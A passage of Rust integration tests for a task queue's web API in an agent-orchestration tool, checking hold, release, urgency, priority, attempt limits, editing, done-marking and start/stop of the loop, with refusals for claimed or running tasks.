16603 let released = f
16604 .post(&format!("/api/queue/{}/release", task.id), None)
16605 .await;
16606 assert_eq!(released.status, 200);
16607 assert_eq!(released.json()["status_str"], "queued");
16608 assert_eq!(released.json()["resumption"]["source"], "web");
16609 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16610 let mut cli = task.clone();
16611 cli.release_operator("cli", None);
16612 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16613 let cli = cli.resumption.unwrap();
16614 assert_eq!(web.instruction, cli.instruction);
16615 assert_eq!(web.answers_through, cli.answers_through);
16616 assert_eq!(web.runs_through, cli.runs_through);
16617 assert_eq!(web.cleared_reason, cli.cleared_reason);
16618 assert_eq!(
16619 released.json()["attempts"],
16620 0,
16621 "release is a real second chance, not an instant re-hold"
16622 );
16623 assert_eq!(
16624 queue.get(&task.id).expect("reload").status,
16625 TaskStatus::Queued,
16626 "the change is on disk, not only in the reply"
16627 );
16628 assert!(
16629 !f.home
16630 .path()
16631 .join("queue")
16632 .join(format!("{}.lock", task.id))
16633 .exists(),
16634 "the claim the mutation took is released again"
16635 );
16636 }
16637
16638 #[tokio::test]
16639 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16640 let f = Fixture::start().await;
16641 let queue = f.queue();
16642 let mut task = Task::new(
16643 "busy".to_owned(),
16644 "Running right now".to_owned(),
16645 PathBuf::from("/repo/magi"),
16646 Source::Human,
16647 );
16648 queue.put(&mut task).expect("file the task");
16649 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16650
16651 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16652
16653 assert_eq!(res.status, 409);
16654 assert_eq!(
16655 queue.get(&task.id).expect("reload").status,
16656 TaskStatus::Queued,
16657 "the refused hold changed nothing"
16658 );
16659 }
16660
16661 #[tokio::test]
16662 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16663 let f = Fixture::start().await;
16664 let queue = f.queue();
16665 let mut task = Task::new(
16666 "waiting on the migration".to_owned(),
16667 "Do the thing".to_owned(),
16668 PathBuf::from("/repo/magi"),
16669 Source::Human,
16670 );
16671 queue.put(&mut task).expect("file the task");
16672
16673 let held = f
16674 .post(
16675 &format!("/api/queue/{}/hold", task.id),
16676 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16677 )
16678 .await;
16679 assert_eq!(held.status, 200, "{}", held.body);
16680 assert_eq!(held.json()["status_str"], "held");
16681 assert_eq!(
16682 held.json()["hold_reason"],
16683 "waiting for 20260101-000000-aaaa to land"
16684 );
16685
16686 let listed = f.get("/api/queue").await.json();
16687 assert_eq!(
16688 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16689 "the card reads the reason off the same list route"
16690 );
16691
16692 let mut plain = Task::new(
16695 "no reason given".to_owned(),
16696 "Do another thing".to_owned(),
16697 PathBuf::from("/repo/magi"),
16698 Source::Human,
16699 );
16700 queue.put(&mut plain).expect("file the task");
16701 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16702 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16703 assert!(held_plain.json()["hold_reason"].is_null());
16704
16705 let released = f
16706 .post(&format!("/api/queue/{}/release", task.id), None)
16707 .await;
16708 assert_eq!(released.status, 200);
16709 assert!(
16710 released.json()["hold_reason"].is_null(),
16711 "a release must clear the reason so the next hold does not inherit it"
16712 );
16713 }
16714
16715 #[test]
16716 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16717 for urgent in [true, false] {
16718 let body: UrgentBody =
16719 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16720 assert_eq!(body.urgent, urgent);
16721 }
16722 for input in [
16723 r#"{}"#,
16724 r#"{"urgent":null}"#,
16725 r#"{"urgent":"true"}"#,
16726 r#"{"urgent":1}"#,
16727 r#"{"urgent":true,"extra":false}"#,
16728 ] {
16729 assert!(
16730 serde_json::from_str::<UrgentBody>(input).is_err(),
16731 "{input}"
16732 );
16733 }
16734 }
16735
16736 #[tokio::test]
16737 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16738 let home = TempDir::new().unwrap();
16739 let q = Queue::at(home.path().join("queue"));
16740 let ui = Arc::new(Ui::new(
16741 q.clone(),
16742 Questions::at(home.path().join("questions")),
16743 Talks::at(home.path().join("talks")),
16744 home.path().join("runs"),
16745 home.path().into(),
16746 home.path().into(),
16747 ));
16748 let mut task = Task::new(
16749 "urgent handler".into(),
16750 "keep".into(),
16751 home.path().into(),
16752 Source::Human,
16753 );
16754 for status in [TaskStatus::Queued, TaskStatus::Held] {
16755 task.status = status;
16756 q.put(&mut task).unwrap();
16757 for urgent in [true, true, false, false] {
16758 let saved = queue_urgent(
16759 State(Arc::clone(&ui)),
16760 Path(task.short().into()),
16761 Ok(Json(UrgentBody { urgent })),
16762 )
16763 .await
16764 .unwrap();
16765 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16766 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16767 }
16768 }
16769 task.status = TaskStatus::Queued;
16770 q.put(&mut task).unwrap();
16771 let claim = q.claim(&task.id).unwrap();
16772 let error = queue_urgent(
16773 State(Arc::clone(&ui)),
16774 Path(task.id.clone()),
16775 Ok(Json(UrgentBody { urgent: true })),
16776 )
16777 .await
16778 .unwrap_err();
16779 assert_eq!(error.status, StatusCode::CONFLICT);
16780 assert!(error.message.contains("released"));
16781 drop(claim);
16782 for status in [
16783 TaskStatus::Running,
16784 TaskStatus::Done,
16785 TaskStatus::Failed,
16786 TaskStatus::Blocked,
16787 TaskStatus::Parked,
16788 ] {
16789 task.status = status;
16790 q.put(&mut task).unwrap();
16791 let error = queue_urgent(
16792 State(Arc::clone(&ui)),
16793 Path(task.id.clone()),
16794 Ok(Json(UrgentBody { urgent: false })),
16795 )
16796 .await
16797 .unwrap_err();
16798 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16799 assert!(error.message.contains(status.as_str()));
16800 }
16801 }
16802
16803 #[tokio::test]
16804 async fn urgent_api_updates_preserves_and_validates_tasks() {
16805 let f = Fixture::start().await;
16806 let q = f.queue();
16807 let mut t = Task::new(
16808 "urgent API".into(),
16809 "unchanged".into(),
16810 PathBuf::from("/repo/magi"),
16811 Source::Human,
16812 );
16813 t.attempts = 2;
16814 t.priority = 9;
16815 t.interrupt = true;
16816 t.hold_reason = Some("waiting for approval".into());
16817 for status in [TaskStatus::Queued, TaskStatus::Held] {
16818 t.status = status;
16819 q.put(&mut t).unwrap();
16820 for urgent in [true, true, false, false] {
16821 let response = f
16822 .post(
16823 &format!("/api/queue/{}/urgent", t.short()),
16824 Some(&format!("{{\"urgent\":{urgent}}}")),
16825 )
16826 .await;
16827 assert_eq!(response.status, 200, "{}", response.body);
16828 assert_eq!(response.json()["urgent"], urgent);
16829 let saved = q.get(&t.id).unwrap();
16830 let mut before = serde_json::to_value(&t).unwrap();
16831 let mut after = serde_json::to_value(saved).unwrap();
16832 before["urgent"] = urgent.into();
16833 before.as_object_mut().unwrap().remove("updated_at");
16834 after.as_object_mut().unwrap().remove("updated_at");
16835 assert_eq!(after, before);
16836 }
16837 }
16838 let route = format!("/api/queue/{}/urgent", t.id);
16839 for body in [
16840 r#"{}"#,
16841 r#"{"urgent":null}"#,
16842 r#"{"urgent":"true"}"#,
16843 r#"{"urgent":1}"#,
16844 r#"{"urgent":true,"extra":false}"#,
16845 "{",
16846 ] {
16847 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16848 }
16849 t.status = TaskStatus::Queued;
16850 q.put(&mut t).unwrap();
16851 let claim = q.claim(&t.id).unwrap();
16852 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16853 assert_eq!(response.status, 409, "{}", response.body);
16854 assert!(!q.get(&t.id).unwrap().urgent);
16855 drop(claim);
16856 for status in [
16857 TaskStatus::Running,
16858 TaskStatus::Done,
16859 TaskStatus::Failed,
16860 TaskStatus::Blocked,
16861 TaskStatus::Parked,
16862 ] {
16863 t.status = status;
16864 q.put(&mut t).unwrap();
16865 for urgent in [true, false] {
16866 let response = f
16867 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16868 .await;
16869 assert_eq!(response.status, 400, "{}", response.body);
16870 assert!(response.body.contains(status.as_str()));
16871 assert!(response.body.contains("queued or held"));
16872 assert!(!q.get(&t.id).unwrap().urgent);
16873 }
16874 }
16875 assert_eq!(
16876 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16877 .await
16878 .status,
16879 404
16880 );
16881 }
16882
16883 #[tokio::test]
16884 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16885 let f = Fixture::start().await;
16886 let queue = f.queue();
16887 let mut older = Task::new(
16888 "filed first".to_owned(),
16889 "x".to_owned(),
16890 PathBuf::from("/repo/magi"),
16891 Source::Human,
16892 );
16893 older.id = "20260101-000001-aaaa".to_owned();
16894 let mut newer = Task::new(
16895 "filed second".to_owned(),
16896 "x".to_owned(),
16897 PathBuf::from("/repo/magi"),
16898 Source::Human,
16899 );
16900 newer.id = "20260101-000002-bbbb".to_owned();
16901 queue.put(&mut older).expect("file older");
16902 queue.put(&mut newer).expect("file newer");
16903
16904 let before = f.get("/api/queue").await.json();
16907 assert_eq!(before[0]["id"], newer.id);
16908 assert_eq!(before[1]["id"], older.id);
16909
16910 let raised = f
16914 .post(
16915 &format!("/api/queue/{}/priority", older.id),
16916 Some(r#"{"priority":10}"#),
16917 )
16918 .await;
16919 assert_eq!(raised.status, 200, "{}", raised.body);
16920 assert_eq!(raised.json()["priority"], 10);
16921
16922 let after = f.get("/api/queue").await.json();
16923 let names: Vec<&str> = after
16924 .as_array()
16925 .unwrap()
16926 .iter()
16927 .map(|t| t["id"].as_str().unwrap())
16928 .collect();
16929 assert_eq!(names[0], older.id, "the raised task now sorts first");
16933 }
16934
16935 #[tokio::test]
16936 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16937 let dir = TempDir::new().unwrap();
16938 let q = Queue::at(dir.path().join("queue"));
16939 let ui = Arc::new(Ui::new(
16940 q.clone(),
16941 Questions::at(dir.path().join("questions")),
16942 Talks::at(dir.path().join("talks")),
16943 dir.path().join("runs"),
16944 dir.path().to_path_buf(),
16945 dir.path().to_path_buf(),
16946 ));
16947 let mut t = Task::new(
16948 "budget".into(),
16949 "keep".into(),
16950 dir.path().into(),
16951 Source::Human,
16952 );
16953 t.attempts = 2;
16954 t.runs.push("prior-run".into());
16955 t.hold_manual(Some("waiting".into()));
16956 q.put(&mut t).unwrap();
16957 let change = |value| {
16958 queue_attempt_limit(
16959 State(ui.clone()),
16960 Path(t.id.clone()),
16961 Ok(Json(AttemptLimitBody {
16962 attempt_limit: value,
16963 })),
16964 )
16965 };
16966 for value in [
16967 serde_json::json!(3),
16968 serde_json::Value::Null,
16969 serde_json::json!(1),
16970 ] {
16971 let response = change(value.clone()).await.unwrap();
16972 assert_eq!(
16973 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16974 value
16975 );
16976 let saved = q.get(&t.id).unwrap();
16977 assert_eq!(
16978 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16979 value
16980 );
16981 assert_eq!(saved.status, TaskStatus::Held);
16982 assert_eq!(saved.attempts, t.attempts);
16983 assert_eq!(saved.runs, t.runs);
16984 assert_eq!(saved.hold_reason, t.hold_reason);
16985 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16986 .await
16987 .unwrap()
16988 .0;
16989 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16990 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16991 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16992 assert_eq!(outcome.max_attempts, detail.max_attempts);
16993 }
16994 for value in [
16995 serde_json::json!(0),
16996 serde_json::json!(-1),
16997 serde_json::json!(1.5),
16998 serde_json::json!("3"),
16999 serde_json::json!(true),
17000 ] {
17001 assert_eq!(
17002 change(value).await.err().unwrap().status,
17003 StatusCode::BAD_REQUEST
17004 );
17005 }
17006 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17007 let claim = q.claim(&t.id).unwrap();
17008 assert_eq!(
17009 change(serde_json::json!(4)).await.err().unwrap().status,
17010 StatusCode::CONFLICT
17011 );
17012 drop(claim);
17013 for status in [
17014 TaskStatus::Running,
17015 TaskStatus::Done,
17016 TaskStatus::Failed,
17017 TaskStatus::Blocked,
17018 TaskStatus::Parked,
17019 ] {
17020 let mut stored = q.get(&t.id).unwrap();
17021 stored.status = status;
17022 q.put(&mut stored).unwrap();
17023 assert_eq!(
17024 change(serde_json::json!(4)).await.err().unwrap().status,
17025 StatusCode::BAD_REQUEST
17026 );
17027 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17028 }
17029 let mut stored = q.get(&t.id).unwrap();
17030 stored.status = TaskStatus::Queued;
17031 q.put(&mut stored).unwrap();
17032 let _ = change(serde_json::Value::Null).await.unwrap();
17033 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17034 }
17035
17036 #[tokio::test]
17037 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17038 let dir = TempDir::new().unwrap();
17039 let repo = dir.path().join("repo");
17040 std::fs::create_dir(&repo).unwrap();
17041 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17042 let q = Queue::at(dir.path().join("queue"));
17043 let ui = Arc::new(Ui::new(
17044 q.clone(),
17045 Questions::at(dir.path().join("questions")),
17046 Talks::at(dir.path().join("talks")),
17047 dir.path().join("runs"),
17048 dir.path().to_path_buf(),
17049 repo.clone(),
17050 ));
17051 let mut t = Task::new(
17052 "seats".into(),
17053 "keep instruction".into(),
17054 repo,
17055 Source::Human,
17056 );
17057 t.runs.push("prior-run".into());
17058 t.hold_manual(Some("waiting".into()));
17059 q.put(&mut t).unwrap();
17060 let change = |count| {
17061 queue_implementers(
17062 State(ui.clone()),
17063 Path(t.id.clone()),
17064 Ok(Json(ImplementersBody {
17065 implementers: count,
17066 })),
17067 )
17068 };
17069 for count in [2, 1, 2] {
17070 let response = change(count).await.unwrap();
17071 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17072 let saved = q.get(&t.id).unwrap();
17073 assert_eq!(saved.implementers(), Some(usize::from(count)));
17074 assert_eq!(saved.runs, t.runs);
17075 assert_eq!(saved.instruction, t.instruction);
17076 }
17077 for count in [0, 4] {
17078 assert_eq!(
17079 change(count).await.err().unwrap().status,
17080 StatusCode::BAD_REQUEST
17081 );
17082 }
17083 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17084 let claim = q.claim(&t.id).unwrap();
17085 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17086 drop(claim);
17087 for status in [
17088 TaskStatus::Running,
17089 TaskStatus::Done,
17090 TaskStatus::Failed,
17091 TaskStatus::Blocked,
17092 TaskStatus::Parked,
17093 ] {
17094 let mut stored = q.get(&t.id).unwrap();
17095 stored.status = status;
17096 q.put(&mut stored).unwrap();
17097 assert_eq!(
17098 change(1).await.err().unwrap().status,
17099 StatusCode::BAD_REQUEST
17100 );
17101 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17102 }
17103 }
17104
17105 #[tokio::test]
17106 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17107 let f = Fixture::start().await;
17108 let queue = f.queue();
17109 let mut task = Task::new(
17110 "in flight".to_owned(),
17111 "x".to_owned(),
17112 PathBuf::from("/repo/magi"),
17113 Source::Human,
17114 );
17115 task.start("20260902-140502-bbbb".to_owned());
17116 queue.put(&mut task).expect("file the task");
17117
17118 let res = f
17119 .post(
17120 &format!("/api/queue/{}/priority", task.id),
17121 Some(r#"{"priority":9}"#),
17122 )
17123 .await;
17124 assert_eq!(res.status, 400, "{}", res.body);
17125 assert!(
17126 res.json()["error"]
17127 .as_str()
17128 .is_some_and(|e| e.contains("running")),
17129 "{}",
17130 res.body
17131 );
17132 assert_eq!(
17133 queue.get(&task.id).expect("reload").priority,
17134 0,
17135 "the refused write must not partially apply"
17136 );
17137 }
17138
17139 #[tokio::test]
17140 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17141 let f = Fixture::start().await;
17142 let queue = f.queue();
17143 let mut task = Task::new(
17144 "old title".to_owned(),
17145 "old instruction".to_owned(),
17146 PathBuf::from("/repo/magi"),
17147 Source::Agent {
17148 run: "20260101-000000-beef".to_owned(),
17149 node: "implement".to_owned(),
17150 },
17151 );
17152 task.runs.push("20260101-000000-beef".to_owned());
17153 queue.put(&mut task).expect("file the task");
17154 let created_at = task.created_at;
17155
17156 let edited = f
17157 .post(
17158 &format!("/api/queue/{}/edit", task.id),
17159 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17160 )
17161 .await;
17162 assert_eq!(edited.status, 200, "{}", edited.body);
17163 let body = edited.json();
17164 assert_eq!(body["title"], "new title");
17165 assert_eq!(body["instruction"], "new instruction");
17166 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17167 assert_eq!(body["created_at"], created_at.to_string());
17168 assert_eq!(
17169 body["source"]["kind"], "agent",
17170 "editing a task an agent filed must not turn it human: {body}"
17171 );
17172 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17173
17174 let reloaded = queue.get(&task.id).expect("reload");
17175 assert_eq!(reloaded.title, "new title");
17176 assert_eq!(reloaded.instruction, "new instruction");
17177 }
17178
17179 #[tokio::test]
17180 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17181 let tmp = TempDir::new().expect("tempdir");
17184 let repo = tmp.path().join("repo");
17185 std::fs::create_dir_all(&repo).expect("repo dir");
17186 let judge = MOCK_AGENT_TOML.replace(
17187 "printf ok",
17188 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17189 );
17190 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17191 let f = Fixture::with_repo(repo.clone()).await;
17192 let queue = f.queue();
17193 let mut owner = Task::new(
17194 "owner".to_owned(),
17195 "review it".to_owned(),
17196 repo.clone(),
17197 Source::Human,
17198 );
17199 owner.review_branch = Some("magi/ab12/A".to_owned());
17200 queue.put(&mut owner).expect("file the owner");
17201 let mut task = Task::new(
17202 "draft".to_owned(),
17203 "old".to_owned(),
17204 repo.clone(),
17205 Source::Human,
17206 );
17207 queue.put(&mut task).expect("file the draft");
17208 let url = format!("/api/queue/{}/edit", task.id);
17209
17210 let refused = f
17211 .post(
17212 &url,
17213 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17214 )
17215 .await;
17216 assert_eq!(refused.status, 409, "{}", refused.body);
17217 let msg = refused.json()["error"]
17218 .as_str()
17219 .unwrap_or_default()
17220 .to_owned();
17221 assert!(
17222 msg.contains("magi/ab12/A") && msg.contains("force"),
17223 "{msg}"
17224 );
17225 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17226
17227 let forced = f
17228 .post(
17229 &url,
17230 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17231 )
17232 .await;
17233 assert_eq!(forced.status, 200, "{}", forced.body);
17234 }
17235
17236 #[tokio::test]
17237 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17238 let f = Fixture::start().await;
17239 let queue = f.queue();
17240 let mut task = Task::new(
17241 "in flight".to_owned(),
17242 "do not touch".to_owned(),
17243 PathBuf::from("/repo/magi"),
17244 Source::Human,
17245 );
17246 task.start("20260902-140502-bbbb".to_owned());
17247 queue.put(&mut task).expect("file the task");
17248
17249 let res = f
17250 .post(
17251 &format!("/api/queue/{}/edit", task.id),
17252 Some(r#"{"title":"x","instruction":"y"}"#),
17253 )
17254 .await;
17255 assert_eq!(res.status, 400, "{}", res.body);
17256 assert!(
17257 res.json()["error"]
17258 .as_str()
17259 .is_some_and(|e| e.contains("running")),
17260 "{}",
17261 res.body
17262 );
17263 assert_eq!(
17264 queue.get(&task.id).expect("reload").instruction,
17265 "do not touch",
17266 "the refused edit must not change the file"
17267 );
17268 }
17269
17270 #[tokio::test]
17271 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17272 let f = Fixture::start().await;
17273 let queue = f.queue();
17274 let mut task = Task::new(
17275 "busy".to_owned(),
17276 "Running right now".to_owned(),
17277 PathBuf::from("/repo/magi"),
17278 Source::Human,
17279 );
17280 queue.put(&mut task).expect("file the task");
17281 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17282
17283 let priority = f
17284 .post(
17285 &format!("/api/queue/{}/priority", task.id),
17286 Some(r#"{"priority":9}"#),
17287 )
17288 .await;
17289 assert_eq!(priority.status, 409, "{}", priority.body);
17290
17291 let edit = f
17292 .post(
17293 &format!("/api/queue/{}/edit", task.id),
17294 Some(r#"{"title":"x","instruction":"y"}"#),
17295 )
17296 .await;
17297 assert_eq!(edit.status, 409, "{}", edit.body);
17298 }
17299
17300 #[tokio::test]
17301 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17302 let f = Fixture::start().await;
17303 let queue = f.queue();
17304 let mut task = Task::new(
17305 "shipped by hand".to_owned(),
17306 "merged outside the loop".to_owned(),
17307 PathBuf::from("/repo/magi"),
17308 Source::Agent {
17309 run: "20260101-000000-b455".to_owned(),
17310 node: "implement".to_owned(),
17311 },
17312 );
17313 task.runs.push("20260101-000000-b455".to_owned());
17314 task.runs.push("20260101-000000-9af4".to_owned());
17315 queue.put(&mut task).expect("file the task");
17316 let created_at = task.created_at;
17317
17318 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17319 assert_eq!(done.status, 200, "{}", done.body);
17320 assert_eq!(done.json()["status_str"], "done");
17321
17322 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17323 assert_eq!(
17324 reloaded.runs,
17325 ["20260101-000000-b455", "20260101-000000-9af4"]
17326 );
17327 assert_eq!(
17328 reloaded.source,
17329 Source::Agent {
17330 run: "20260101-000000-b455".to_owned(),
17331 node: "implement".to_owned(),
17332 }
17333 );
17334 assert_eq!(reloaded.created_at, created_at);
17335 }
17336
17337 #[tokio::test]
17338 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17339 let f = Fixture::start().await;
17344 let queue = f.queue();
17345 let mut task = Task::new(
17346 "landed while held".to_owned(),
17347 "x".to_owned(),
17348 PathBuf::from("/repo/magi"),
17349 Source::Human,
17350 );
17351 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17352 queue.put(&mut task).expect("file the held task");
17353
17354 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17355 assert_eq!(done.status, 200, "{}", done.body);
17356 assert_eq!(done.json()["status_str"], "done");
17357 assert!(
17358 done.json()["hold_reason"].is_null(),
17359 "a done task cannot still be waiting on something: {}",
17360 done.body
17361 );
17362 }
17363
17364 #[tokio::test]
17365 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17366 let f = Fixture::start().await;
17371 let queue = f.queue();
17372 let runs = f.runs();
17373 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17374 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17378
17379 let mut task = Task::new(
17380 "landed by hand".to_owned(),
17381 "x".to_owned(),
17382 PathBuf::from("/repo/magi"),
17383 Source::Human,
17384 );
17385 task.runs.push("20260101-000000-doa1".to_owned());
17386 task.runs.push("20260101-000000-doa2".to_owned());
17387 queue.put(&mut task).expect("file the task");
17388
17389 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17390 assert_eq!(done.status, 200, "{}", done.body);
17391
17392 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17393 .expect("run still on disk under this fixture's own home");
17394 assert_eq!(
17395 reloaded_run.status,
17396 RunStatus::Superseded,
17397 "closing the task by hand must relabel the earlier blocked attempt exactly \
17398 like the loop's own settle path does"
17399 );
17400 }
17401
17402 #[tokio::test]
17403 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17404 let f = Fixture::start().await;
17409 let queue = f.queue();
17410 let runs = f.runs();
17411 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17412 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17413
17414 let mut task = Task::new(
17415 "closed with nothing actually landed".to_owned(),
17416 "x".to_owned(),
17417 PathBuf::from("/repo/magi"),
17418 Source::Human,
17419 );
17420 task.runs.push("20260101-000000-dob1".to_owned());
17421 task.runs.push("20260101-000000-dob2".to_owned());
17422 queue.put(&mut task).expect("file the task");
17423
17424 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17425 assert_eq!(done.status, 200, "{}", done.body);
17426
17427 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17428 .expect("run still on disk under this fixture's own home");
17429 assert_eq!(
17430 reloaded_run.status,
17431 RunStatus::Blocked,
17432 "the last recorded attempt never landed, so the earlier one must not be \
17433 relabelled as superseded by it"
17434 );
17435 }
17436
17437 #[tokio::test]
17438 async fn unknown_ids_are_json_not_found_on_both_stores() {
17439 let f = Fixture::start().await;
17440
17441 let run = f.get("/api/runs/nosuchrun").await;
17442 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17443
17444 assert_eq!(run.status, 404);
17445 assert_eq!(task.status, 404);
17446 assert!(
17447 run.json()["error"]
17448 .as_str()
17449 .is_some_and(|e| e.contains("run")),
17450 "the error names what was not found: {}",
17451 run.body
17452 );
17453 assert!(
17454 task.json()["error"]
17455 .as_str()
17456 .is_some_and(|e| e.contains("task")),
17457 "the error names what was not found: {}",
17458 task.body
17459 );
17460 }
17461
17462 #[tokio::test]
17463 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17464 let f = Fixture::start().await;
17465
17466 let missing = f.get("/api/health").await.json();
17467 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17468
17469 write_daemon(
17470 f.home.path(),
17471 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17472 );
17473 let stale = f.get("/api/health").await.json();
17474 assert_eq!(
17475 stale["daemon"]["running"], false,
17476 "a minute without a heartbeat is a dead daemon, not a busy one"
17477 );
17478 assert!(
17479 stale["daemon"]["stale_for_secs"]
17480 .as_i64()
17481 .is_some_and(|s| s >= 55),
17482 "staleness is reported so the UI can say how long: {stale}"
17483 );
17484
17485 write_daemon(f.home.path(), Timestamp::now());
17486 let fresh = f.get("/api/health").await.json();
17487 assert_eq!(fresh["daemon"]["running"], true);
17488 assert_eq!(fresh["daemon"]["idle"], false);
17489 assert_eq!(fresh["daemon"]["pid"], 4242);
17490 assert_eq!(fresh["daemon"]["completed"], 7);
17491 assert_eq!(
17492 fresh["daemon"]["current"][0]["task"],
17493 "20260902-140501-aaaa"
17494 );
17495 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17496 }
17497
17498 #[tokio::test]
17499 async fn the_loop_is_not_running_until_something_starts_it() {
17500 let f = Fixture::start().await;
17501
17502 let view = f.get("/api/loop").await.json();
17503 assert_eq!(view["running"], false);
17504 assert_eq!(
17505 view["owned"], false,
17506 "nobody owns a loop that does not exist: {view}"
17507 );
17508 assert_eq!(view["stopping"], false);
17509 assert_eq!(view["last_error"], Value::Null);
17510 assert_eq!(view["daemon"]["running"], false);
17511 assert_eq!(
17512 view["repo"], "/repo/magi",
17513 "the repository a start would use, named before it is started"
17514 );
17515 }
17516
17517 #[tokio::test]
17518 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17519 let f = Fixture::start().await;
17520
17521 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17522 assert_eq!(res.status, 200, "{}", res.body);
17523 let view = res.json();
17524 assert_eq!(view["running"], true);
17525 assert_eq!(
17526 view["owned"], true,
17527 "the loop the UI started is the UI's own to stop: {view}"
17528 );
17529 assert_eq!(
17530 view["merge"],
17531 Value::Null,
17532 "no override was given, so each repository's own config decides"
17533 );
17534
17535 let health = f.get("/api/health").await.json();
17539 assert_eq!(health["loop"]["running"], true, "{health}");
17540 assert_eq!(health["loop"]["owned"], true, "{health}");
17541
17542 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17543 }
17544
17545 #[tokio::test]
17546 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17547 let f = Fixture::start().await;
17548 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17549 assert_eq!(first.status, 200, "{}", first.body);
17550
17551 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17552 assert_eq!(
17553 again.status, 409,
17554 "two loops on one queue race for the same claims: {}",
17555 again.body
17556 );
17557 assert!(
17558 again.json()["error"]
17559 .as_str()
17560 .is_some_and(|e| e.contains("already running the loop")),
17561 "the refusal has to say why: {}",
17562 again.body
17563 );
17564 assert_eq!(
17565 f.get("/api/loop").await.json()["running"],
17566 true,
17567 "and the loop that was already running is untouched by it"
17568 );
17569
17570 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17571 }
17572
17573 #[tokio::test]
17574 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17575 let f = Fixture::start().await;
17576 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17577
17578 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17579 assert_eq!(
17580 res.status, 200,
17581 "the answer must not wait for the loop: a run in flight is tens of \
17582 minutes and the operator is holding a phone: {}",
17583 res.body
17584 );
17585
17586 let view = settled(&f, |v| v["running"] == false).await;
17587 assert_eq!(view["owned"], false);
17588 assert_eq!(
17589 view["stopping"], false,
17590 "a loop that has stopped is not still stopping: {view}"
17591 );
17592 assert_eq!(
17593 view["last_error"],
17594 Value::Null,
